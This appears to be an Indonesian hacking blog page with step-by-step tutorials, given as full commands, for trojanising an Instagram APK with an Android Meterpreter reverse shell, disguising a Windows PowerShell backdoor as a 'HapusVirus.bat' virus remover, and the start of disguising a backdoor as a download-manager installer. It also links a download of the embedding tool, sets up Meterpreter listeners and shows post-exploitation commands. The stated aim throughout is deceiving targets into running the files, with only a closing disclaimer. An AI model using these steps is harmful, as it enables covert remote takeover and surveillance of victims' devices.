Anherr Blog's: Backdoor

Cara Menyisipkan Backdoor kedalam File Apk

<div style="text-align: justify;">
Kalau untuk mengelabui target user windows dengan membuat backdoor dengan format file tertentu mungkin sudah biasa ya, karena memang sudah banyak module exploit yang digunakan untuk membuat backdoor dengan format file tertentu(.pdf, .doc, .rar). lalu bagaimana jika target exploit kita android, dan bagaimana untuk menyamarkan backdoor tersebut ? oke di bawah ini akan saya berikan contoh cara menyisipkan backdoor kedalam file apk.<br />
<br />
Bagi yang mau mencoba bisa download bahannya <a href="https://www.mediafire.com/file/newdp41qbosnh1p/apk-embed.zip/file" rel="nofollow" target="_blank">disini</a><br />
Extract file tersebut lalu masukkan file apk yang akan di sisipi backdoor ke dalam folder apk-embed jadi satu dengan <b>apk-embed-payload.rb</b>. sebagai contoh disini saya akan menyisipkan backdoor kedalam file apk instagram</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_c33veYkQ53NQ3hM-OOcyQ8QXbpwpSgh1S8h98br4T8EHNDYLO5KGiKxurXY_GFbcGPZEalbvX10tEt-sekcLQ0ChqGboA3bcjxymwl5c6tb-M5d8mFiMm0UZ_SLZp-BYgOm3yHadgU0/s1600/ls.png" style="margin-left: 1em; margin-right: 1em;"><img alt="" border="0" height="134" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_c33veYkQ53NQ3hM-OOcyQ8QXbpwpSgh1S8h98br4T8EHNDYLO5KGiKxurXY_GFbcGPZEalbvX10tEt-sekcLQ0ChqGboA3bcjxymwl5c6tb-M5d8mFiMm0UZ_SLZp-BYgOm3yHadgU0/s280/ls.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="280" /></a></div>
<br />
Nah untuk memasukkan payload ke dalam file apk tersebut perintahnya seperti ini<br />
<blockquote class="tr_bq">
ruby apk-embed-payload.rb [target.apk] [msfvenom options]</blockquote>
Contoh<br />
<blockquote class="tr_bq">
ruby apk-embed-payload.rb Instagram.apk -p android/meterpreter/reverse_tcp lhost=192.168.1.100 lport=1337</blockquote>
</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCz95rgAjAB8_vu0xOChhlXuYVAw-_jzx1OHvy0gQTyo7f4J_hD3JmqlDVZ97YZ1yTGprdnx4mTZouob4sjhZV_GKvZ5mDx5nGbUmKeAJjxO1WBuDaS0j8-jr7W5avuKMVFhXZqWzYhbI/s1600/embed-prosses.png" style="margin-left: 1em; margin-right: 1em;"><img alt="ruby apk-embed-payload.rb [target.apk] [msfvenom options]" border="0" height="137" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCz95rgAjAB8_vu0xOChhlXuYVAw-_jzx1OHvy0gQTyo7f4J_hD3JmqlDVZ97YZ1yTGprdnx4mTZouob4sjhZV_GKvZ5mDx5nGbUmKeAJjxO1WBuDaS0j8-jr7W5avuKMVFhXZqWzYhbI/s280/embed-prosses.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="280" /></a></div>
</div>
<div style="text-align: justify;">
<br />
Tunggu hingga prossesnya selesai, jika berhasil nantinya akan ada file baru yang telah disisipi backdoor dengan nama namafile_backdoored.apk<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio3h7iYKMGhyphenhyphenvjkN-nEWl3ROF6VEmjfW08mIB7V_pl896jCMwPh2sEwGFHKQ2LinjqyfIaP0FdQeKOUV1eNHr7IbSA-0lnxBAm-cnIgKzzpYuU0c4W-cgHEzLA-ujcf021YFe75BB698U/s1600/infectec-file.png" style="margin-left: 1em; margin-right: 1em;"><img alt="namafile_backdoored.apk" border="0" height="42" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio3h7iYKMGhyphenhyphenvjkN-nEWl3ROF6VEmjfW08mIB7V_pl896jCMwPh2sEwGFHKQ2LinjqyfIaP0FdQeKOUV1eNHr7IbSA-0lnxBAm-cnIgKzzpYuU0c4W-cgHEzLA-ujcf021YFe75BB698U/s280/infectec-file.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="280" /></a></div>
</div>
<div style="text-align: justify;">
<br />
Selanjutnya adalah melakukan SignApk, tujuannya agar file apk yang telah di sisipi backdoor tersebut bisa di install di semua device android.<br />
Caranya, masukkan file apk hasil backdooring kedalam folder SignApk. lalu lakukan sign dengan perintah dibawah ini <br />
<blockquote class="tr_bq">
java -jar signapk.jar testkey.x509.pem testkey.pk8 [file_asli.apk] [file_asli_hasilsign.apk]</blockquote>
Contoh<br />
<blockquote>
java -jar signapk.jar testkey.x509.pem testkey.pk8 Instagram_backdoored.apk Instagram_Update.apk</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigpeKZSmm_fd7vtzO7a0epImIZU7-wqXsweIsRGlW1rXymVG_rsL80n6_MBZ8AfTUAkaUwFLkBVJHpK_5CBPubuA_RvKlAusKdBJWv47b3R1pSGoxR96KWySihYdHMJPaOO4tUzPlTXGA/s1600/java--jar-signapk.jar-testkey.x509.pem-testkey.pk8-%255Bfile_asli.apk%255D-%255Bfile_asli_hasilsign.apk%255D.png" style="margin-left: 1em; margin-right: 1em;"><img alt="java -jar signapk.jar testkey.x509.pem testkey.pk8 [file_asli.apk] [file_asli_hasilsign.apk]" border="0" height="139" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigpeKZSmm_fd7vtzO7a0epImIZU7-wqXsweIsRGlW1rXymVG_rsL80n6_MBZ8AfTUAkaUwFLkBVJHpK_5CBPubuA_RvKlAusKdBJWv47b3R1pSGoxR96KWySihYdHMJPaOO4tUzPlTXGA/s280/java--jar-signapk.jar-testkey.x509.pem-testkey.pk8-%255Bfile_asli.apk%255D-%255Bfile_asli_hasilsign.apk%255D.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="280" /></a></div>
</div>
<div style="text-align: justify;">
Nah diatas file hasil sign saya beri nama Instagram_Update.apk dan file siap di kirim ke target. namun sebelumnya buka msfconsole, set seperti di bawah ini<br />
<blockquote class="tr_bq">
msfconsole</blockquote>
<blockquote class="tr_bq">
use exploit/multi/handler<br />
set payload android/meterpreter/reverse_tcp<br />
set lhost 192.168.1.100 <br />
set lport 1337<br />
exploit</blockquote>
<i>lhost dan lport sesuaikan dengan yang kalian gunakan.</i> <br />
<br />
Berikut ini adalah tampilan android target ketika menginstall file apk yang di sisipi backdoor tadi. <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmC8z9sDk5EyAZHYS9b5z4y7B1HE2SI8YfK1BjBy_odhWG0oq2zFzrKPPDBSYNLnM9iYuHMj6SR1uymsCtgCDXCKdY7CE9PLAw5hJWpfjHc1Y4hWYntsRKcD1kD6c2iLJKcuvUGXhhPcA/s1600/Install-Backdoor.png" style="margin-left: 1em; margin-right: 1em;"><img alt="install backdoor" border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmC8z9sDk5EyAZHYS9b5z4y7B1HE2SI8YfK1BjBy_odhWG0oq2zFzrKPPDBSYNLnM9iYuHMj6SR1uymsCtgCDXCKdY7CE9PLAw5hJWpfjHc1Y4hWYntsRKcD1kD6c2iLJKcuvUGXhhPcA/s320/Install-Backdoor.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="212" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3j2lhte0cKOJ3C6ZAhD8BUbJQ4Brh8NnmmyPSMAc1Zyu_4YDDe24L3teWXKB1-68o6wmbMY4H9MEHLuSuciKC7gYfPuuEEllJ8nsalY1hoBi0RGGjQkL4gZvyroi6LhtYvviA2bNvLmM/s1600/app-installed.png" style="margin-left: 1em; margin-right: 1em;"><img alt="backdoor installed" border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3j2lhte0cKOJ3C6ZAhD8BUbJQ4Brh8NnmmyPSMAc1Zyu_4YDDe24L3teWXKB1-68o6wmbMY4H9MEHLuSuciKC7gYfPuuEEllJ8nsalY1hoBi0RGGjQkL4gZvyroi6LhtYvviA2bNvLmM/s320/app-installed.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="209" /></a></div>
Tidak beda dengan aslinya kan<br />
<br />
Namun begitu target mebuka aplikasi tersebut kita juga mendapatkan sesi meterpreternya<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7CGw0w2HPQ-iVC5r-728iZCSHFw0NlexLjHyMl5tKSteMJooo_yOz5B70zcVgVBKKSQFMWOqlaq2_FYr3QpL8FYuQYR0coqss39YZLRyDHyRvcYLihkTLs_HxpvmJuBR7-Gz0qJwLP5o/s1600/backdoor-opened.png" style="margin-left: 1em; margin-right: 1em;"><img alt="backdoor opened" border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7CGw0w2HPQ-iVC5r-728iZCSHFw0NlexLjHyMl5tKSteMJooo_yOz5B70zcVgVBKKSQFMWOqlaq2_FYr3QpL8FYuQYR0coqss39YZLRyDHyRvcYLihkTLs_HxpvmJuBR7-Gz0qJwLP5o/s320/backdoor-opened.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="200" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAnfYW3o5HHVL7EripJcTNsMDUjRLTgVHrCmOmmPqf0l0AfvJpd87YPYf3P2KI6nEcq45e15mkL7raAx9ZRdqcj_UvthyphenhyphenaZJBOsARQ44590si03pE6fNkZklgy0u91oyEosp1_S2vZaw0/s1600/meterpreter-open.png" style="margin-left: 1em; margin-right: 1em;"><img alt="meterpreter sessions opened" border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAnfYW3o5HHVL7EripJcTNsMDUjRLTgVHrCmOmmPqf0l0AfvJpd87YPYf3P2KI6nEcq45e15mkL7raAx9ZRdqcj_UvthyphenhyphenaZJBOsARQ44590si03pE6fNkZklgy0u91oyEosp1_S2vZaw0/s280/meterpreter-open.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="280" /></a></div>
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
Bagi yang masih penasaran kalian bisa lihat video di bawah ini<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/iZkZqA8qePQ/0.jpg" frameborder="0" height="210" src="https://www.youtube.com/embed/iZkZqA8qePQ?feature=player_embedded" width="280"></iframe></div>
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
Tutorial ini hanya ntuk pengetahuan semata, jika ada penyalahgunaan dari tutorial ini bukan tanggung jawab dari saya.<br />
Saya harap dengan dibuatnya postingan ini dapat membuat kita agar lebih berhati-hati apabila mendownload aplikasi dari sumber yang tidak terpercaya. Selalu download aplikasi dari website resmi atau dari google play. <br />
Oke, mungkin cukup itu yang bisa saya sampaikan mengenai <b>Cara Menyisipkan Backdoor kedalam File Apk</b>, semoga bermanfaat.<br />
source <a href="https://gist.github.com/SkullTech/a62d106b55562cc1ab88" rel="nofollow" target="_blank">https://gist.github.com/SkullTech</a> </div>

Cara Menyisipkan Backdoor kedalam File Apk

Kalau untuk mengelabui target user windows dengan membuat backdoor dengan format file tertentu mungkin sudah biasa ya, karena memang sudah ...

Baca selengkapnya »

Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0

<div style="text-align: justify;">
Halo teman-teman, kali ini saya akan membagikan percobaan yang saya lakukan yaitu tentang exploit windows dengan menggunakan Social Engiinering Toolkit dan Metasploit, dalam kasus ini Social Engiinering Toolkit hanya digunakan untuk pembuatan backdoor saja, dan Metasploit tetap sebagai tools utamanya, cara ini bukan hanya dapat digunakan di Kali Linux saja namun bisa juga menggunakan distro pentest yang lainnya asal ada metasploit dan setoolkit, baiklah langsung saja ke pembahasan.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Pertama buka terminal kali linux kalian, lalu jalankan Social Engiinering Toolkit denga perintah</div>
<blockquote class="tr_bq" style="text-align: justify;">
setoolkit</blockquote>
Nanti akan ditampilkan beberapa menu dari Setoo<span style="text-align: justify;">Social Engiinering Toolkit,</span><br />
Lalu pilih yang nomor <b>1) Social-Engineering Attacks</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1EMWIHuiFw5SI3FCJYp5AGrjqCMAT_zzcTbYZpPcwVNvs5kP5iR5HZJa5Z9OByaJhXg47KU8PGYzdGPRWtlGZncwubmCqYCV2HyD8LrB_FdaR2IPhWotpeIOHaYUroGrQR7ZLI0bDS70/s1600/Social-Engineering-Attacks.jpg" imageanchor="1" style=""><img alt="1) Social-Engineering Attacks" border="0" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1EMWIHuiFw5SI3FCJYp5AGrjqCMAT_zzcTbYZpPcwVNvs5kP5iR5HZJa5Z9OByaJhXg47KU8PGYzdGPRWtlGZncwubmCqYCV2HyD8LrB_FdaR2IPhWotpeIOHaYUroGrQR7ZLI0bDS70/s280/Social-Engineering-Attacks.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="280" /></a></div>
<br />
Selanjutnya pilih nomor <b>9) Powershell Attck Vectors</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSmK1sPBEENJVutq-YtP04iNeMp1oD2Y2s5YpI4LcP001D3F73LFOIAM5rRf8BuVzE7WgkBSYD8i1eRmlSrXL7uupPuYbM_U_vgvjkS0_wJOIP98_EoEz0T-Nuynog8IzsloBYLP7xRq8/s1600/Powershell-Attack-Vectors.jpg" imageanchor="1" style=""><img alt="9) Powershell Attck Vectors" border="0" height="189" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSmK1sPBEENJVutq-YtP04iNeMp1oD2Y2s5YpI4LcP001D3F73LFOIAM5rRf8BuVzE7WgkBSYD8i1eRmlSrXL7uupPuYbM_U_vgvjkS0_wJOIP98_EoEz0T-Nuynog8IzsloBYLP7xRq8/s280/Powershell-Attack-Vectors.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="280" /></a></div>
<br />
Pada pilihan selanjutnya pilih nomor <b>1)</b> <b>Powershell Alphanumeric Shellcode Injector</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq1M800ZuSWOJcXxrqHGAF6enNQYYDjrcUTJg9OQuxLRS02jKEUB57ebeDZrfvKNnFWthz90GLXXhrulwljyFc5qPffUrztLIEyebmoVvDgtZdOM9FKfWpU2jWwNnHkMZlff0UkskJiok/s1600/Powershell-Alphanumeric-Shellcode-Injector.jpg" imageanchor="1" style=""><img alt="1) Powershell Alphanumeric Shellcode Injector" border="0" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq1M800ZuSWOJcXxrqHGAF6enNQYYDjrcUTJg9OQuxLRS02jKEUB57ebeDZrfvKNnFWthz90GLXXhrulwljyFc5qPffUrztLIEyebmoVvDgtZdOM9FKfWpU2jWwNnHkMZlff0UkskJiok/s280/Powershell-Alphanumeric-Shellcode-Injector.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="280" /></a></div>
<br />
<div style="text-align: justify;">
Selanjutnya kita akan diminta untuk mengisikan IP Addres untuk listener payload, Jadi isikan IP kalian, lalu isikan port juga, disini saya gunakan port default yang sering digunakan yaitu <b>443</b>, lalu Pada pertanyaan <b>Do you want to start the listener now [yes/no]:</b> pilih saja yang ketikkan <b>no</b>.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_i7-6x8v_ofcGNGUQiIw9dh-011motJ-WmZhVMZE1f-sgUKve5NEeVM2czgNc2PBACbzO8E_tsAMuOG16ioKDSflqZba3jO5xfuBiOB5k0lKSPKemunLS7Fd0ma9_OWK49QkpgHkrgwk/s1600/IP-address-for-the-payload-listener.jpg" imageanchor="1" style=""><img alt="Masukkan IP dan PORT linstener" border="0" height="189" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_i7-6x8v_ofcGNGUQiIw9dh-011motJ-WmZhVMZE1f-sgUKve5NEeVM2czgNc2PBACbzO8E_tsAMuOG16ioKDSflqZba3jO5xfuBiOB5k0lKSPKemunLS7Fd0ma9_OWK49QkpgHkrgwk/s280/IP-address-for-the-payload-listener.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="280" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
</div>
<div style="text-align: left;">
<div style="text-align: justify;">
Screenshot di atas tertulis bahwa payload tersimpan pada folder <b>/root/.set/report/powershell/</b>, disana terdapat file dengan nama <b>x86_powershell_injection.txt</b>, itu merupakan backdoor yang akan digunakan, kemudian rename file tersebut dengan format <b>.bat</b> (biasanya folder .set ini terhidden untuk memunculkannya tekan CTRL+H)</div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYmDFWR-6W5JqtMB9u49YIx1HAfWQUZzbrfZsCmCeyhy-KbrZVBkgNISHbqIubuZiAv97AaVj27vmxg1thv8_aQDhVFtEiKNIPomyzH2_A4ldPKPdLn9AuJp_rV9mAjJeMkscjCvVHDnk/s1600/x86_powershell_injection.jpg" imageanchor="1" style=""><img alt="rename payload" border="0" height="188" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYmDFWR-6W5JqtMB9u49YIx1HAfWQUZzbrfZsCmCeyhy-KbrZVBkgNISHbqIubuZiAv97AaVj27vmxg1thv8_aQDhVFtEiKNIPomyzH2_A4ldPKPdLn9AuJp_rV9mAjJeMkscjCvVHDnk/s280/x86_powershell_injection.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="280" /></a></div>
<br />
<div style="text-align: justify;">
Jika tidak ingin ribet kita dapat mengcopy dan rename dengan menggunakan perintah terminal seperti di bawah ini </div>
<blockquote class="tr_bq">
mv /root/.set/powershell/<span style="text-align: justify;">x86_powershell_injection.txt <b>/root/Desktop/HapusVirus.bat</b></span></blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWd32A1v0xpNbKJCube_8hLgbzzNruxyiPEKLLL7uGwp9iEKq6Wg0tEyGqVDVFUogpS9G7v8Oo6hNwIiCxEfLNxeypfnFPScQKHCS7ZbU_otx2Dem84HmZGTPdCjh5VAzbaSUstP7Io9o/s1600/HapusVirus.jpg" imageanchor="1" style=""><img alt="mv /root/.set/powershell/x86_powershell_injection.txt /root/Desktop/HapusVirus.bat" border="0" height="157" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWd32A1v0xpNbKJCube_8hLgbzzNruxyiPEKLLL7uGwp9iEKq6Wg0tEyGqVDVFUogpS9G7v8Oo6hNwIiCxEfLNxeypfnFPScQKHCS7ZbU_otx2Dem84HmZGTPdCjh5VAzbaSUstP7Io9o/s280/HapusVirus.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="280" /></a></div>
<br />
<div style="text-align: justify;">
Nanti file tersebut akan tersimpan di  <b>/root/Desktop</b> dengan nama <b>HapusVirus.bat</b> (bisa kalian sesuaikan sendiri namanya)</div>
<br />
<div style="text-align: justify;">
Tahap selanjutnya adalah mengirimkan backdoor tersebut ke komputer target, namun sebelumnya kita buat terlebih dahulu exploitnya.</div>
<div>
<br /></div>
Sebelumnya jalankan service postgresql, dengan perintah<br />
<blockquote class="tr_bq">
/etc/init.d/postrgresql start</blockquote>
<div style="text-align: justify;">
Bagi yang baru pertama kali menjalankan metasploit, lanjutkan dengan perintah dibawah ini untuk membuat databse msf</div>
<blockquote class="tr_bq">
msfdb init</blockquote>
<div style="text-align: justify;">
Bagi yang sudah pernah membuatnya, bisa langsung menjalankan postgresql lalu dilanjutkan dengan membuka msfconsole</div>
<blockquote class="tr_bq">
msfconsole</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi09odsNkpioL930lsoNPKfbLoOd6TL16ymiL4t9JiQ14negUc_aM9A4g5V2dNtdtT_ou6LxWeQmnbkg4UKiN9QXvT_FzvGHXpfbV34eX_wxqSAZ40lyv_HNsQchR6wSjMRrvSz3BNopEU/s1600/msfdb-init.jpg" imageanchor="1" style=""><img alt="msfconsole" border="0" height="106" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi09odsNkpioL930lsoNPKfbLoOd6TL16ymiL4t9JiQ14negUc_aM9A4g5V2dNtdtT_ou6LxWeQmnbkg4UKiN9QXvT_FzvGHXpfbV34eX_wxqSAZ40lyv_HNsQchR6wSjMRrvSz3BNopEU/s280/msfdb-init.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="280" /></a></div>
<br />
Lalu ketikkan perintah-perintah dibawah ini<br />
<blockquote class="tr_bq">
use exploit/multi/handler<br />
set payload windows/meterpreter/reverse_tcp<br />
set LHOST 192.168.1.103<br />
set LPORT 443<br />
exploit</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAbfKqlWYE_IRYFCGYe8e-ufbjuRKaAcM1SgjesfWF6CEFntSK0rTou4NLBmZLqnAS03sBKx9gHlAuUARD5FNcOvPvYD6ZLdi3H0f_brcwJRn34FQ0ePCdemjdemC5H7JyOgSJi6Xvj8w/s1600/exploit.jpg" imageanchor="1" style=""><img alt="exploit" border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAbfKqlWYE_IRYFCGYe8e-ufbjuRKaAcM1SgjesfWF6CEFntSK0rTou4NLBmZLqnAS03sBKx9gHlAuUARD5FNcOvPvYD6ZLdi3H0f_brcwJRn34FQ0ePCdemjdemC5H7JyOgSJi6Xvj8w/s280/exploit.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="280" /></a></div>
<br />
Isikan LHOST dan LPORT sesui dengan backdoor yang di buat di atas<br />
<br />
<div style="text-align: justify;">
Oke setelah semua selesai, tinggal kita kirim backdoor tersebut ke komputer target.</div>
<div style="text-align: justify;">
Kurang lebih tampilan ketika backdoor dieksekusi oleh target akan  muncul cmd seperti di bawah ini, namun hanya sesaat dan otomatis akan tertutup</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjusvizRm4sbaQbHbFyz7FcH6HPRciN9VIqk6Ucr5nim8LeGgtYced5W-3ewvYqXxNfJZBEFyn8AyEQhlw3v5j1Nf0E6wmoB4A2QCCG7fIiGpLsN3hT64iB35VMC9FKvhvkvH0V5DoTo5w/s1600/Run-Payload.jpg" imageanchor="1" style=""><img alt="payload di eksekusi" border="0" height="163" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjusvizRm4sbaQbHbFyz7FcH6HPRciN9VIqk6Ucr5nim8LeGgtYced5W-3ewvYqXxNfJZBEFyn8AyEQhlw3v5j1Nf0E6wmoB4A2QCCG7fIiGpLsN3hT64iB35VMC9FKvhvkvH0V5DoTo5w/s280/Run-Payload.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="280" /></a></div>
<br />
Dan kita pun mendapatkan sesi meterpreter<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgasgvxShMwKqPhOV1m14I-LORMJoNi2VTAFYl8arbGswhS7rRDdMWvZwv3m_3lZGrDvd9k6_x5krrVvUbtK42JlLqJTpbYj-bu2lqB6Uzasyz3QhyTL1ZUKPN8LGEO4BACjF01Z4fqRH8/s1600/meterpreter.jpg" imageanchor="1" style=""><img alt="sesi meterpreter terbuka" border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgasgvxShMwKqPhOV1m14I-LORMJoNi2VTAFYl8arbGswhS7rRDdMWvZwv3m_3lZGrDvd9k6_x5krrVvUbtK42JlLqJTpbYj-bu2lqB6Uzasyz3QhyTL1ZUKPN8LGEO4BACjF01Z4fqRH8/s280/meterpreter.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="280" /></a></div>
<br />
Perintah meterpreter untuk melihat informasi sistem target<br />
<blockquote class="tr_bq">
sysinfo</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQqLJMH3dumX_PWANnv_GpYLNZE0vHbHjKQKmPTAVvVY3P6yeAfSuHxw6qRZT5I7EfpoOXxf6-JwbSPnHMfhQ6n6Uk2bfSj4KfonuO-FxhO3Lli6_uE-51fjxh6f9bpYoPbJZ4kndZPV8/s1600/sysinfo.jpg" imageanchor="1" style=""><img alt="sysinfo" border="0" height="94" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQqLJMH3dumX_PWANnv_GpYLNZE0vHbHjKQKmPTAVvVY3P6yeAfSuHxw6qRZT5I7EfpoOXxf6-JwbSPnHMfhQ6n6Uk2bfSj4KfonuO-FxhO3Lli6_uE-51fjxh6f9bpYoPbJZ4kndZPV8/s280/sysinfo.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="280" /></a></div>
<br />
Perintah meterptreter untuk remote desktop target<br />
<blockquote class="tr_bq">
run vnc</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXpchfy-P0PogKRdC7MUmODlfbWa7pTD8zmzEd5QlvzqSRy5a171lnNaD_hx2hyphenhyphenEDwwbMr9okcIBnbftt0suqSf-iNSdpvwO3kUPNIqBMbBv79A-u1cenDxeYLklvvHLlAgECnQaSRPo0/s1600/run-vnc.jpg" imageanchor="1" style=""><img alt="run vnc" border="0" height="156" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXpchfy-P0PogKRdC7MUmODlfbWa7pTD8zmzEd5QlvzqSRy5a171lnNaD_hx2hyphenhyphenEDwwbMr9okcIBnbftt0suqSf-iNSdpvwO3kUPNIqBMbBv79A-u1cenDxeYLklvvHLlAgECnQaSRPo0/s280/run-vnc.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="280" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Oke, itu dulu yang bisa saya bagikan mengenai <b>Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0</b>. postingan ini di buat sebagai pengetahuan semata, segala penyalahgunaan dari postingan ini bukan tanggung jawab dari saya, Terima Kasih</div>

Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0

Halo teman-teman, kali ini saya akan membagikan percobaan yang saya lakukan yaitu tentang exploit windows dengan menggunakan Social Engiine...

Baca selengkapnya »

Menyamarkan Backdoor Seperti File Installer (.exe)

<div style="text-align: justify;">
<div style="text-align: justify;">
Sebelum melakukan eksploitasi ke sebuah sistem kita memerlukan backdoor yang digunakan untuk jalan masuk ke sistem korban. Agar exploit tersebut berjalan user diharuskan mengeksekusi backdoor tersebut, untuk itu kita diharuskan se-kreatif mungkin agar user tersebut mengesekusi backdoor yang dikirimkan, contohnya dengan menyamarkan backdoor  menyerupai file installer aplikasi.</div>
<div style="text-align: justify;">
Sebagai contoh kali ini saya akan menyamarkan backdoor seperti Installer Internet Download Manager (kalian juga dapat mencoba dengan file installer lainnya), disini tools yang digunakan adalah msfvenom dengan encoder shikata_ga_nai.</div>
<div style="text-align: justify;">
untuk melihat opsi dari perintah msfvenom ketikkan di terminal</div>
<blockquote class="tr_bq" style="text-align: justify;">
msfvenom -h</blockquote>
<div class="separator" style="clear: both; text-align: center;">
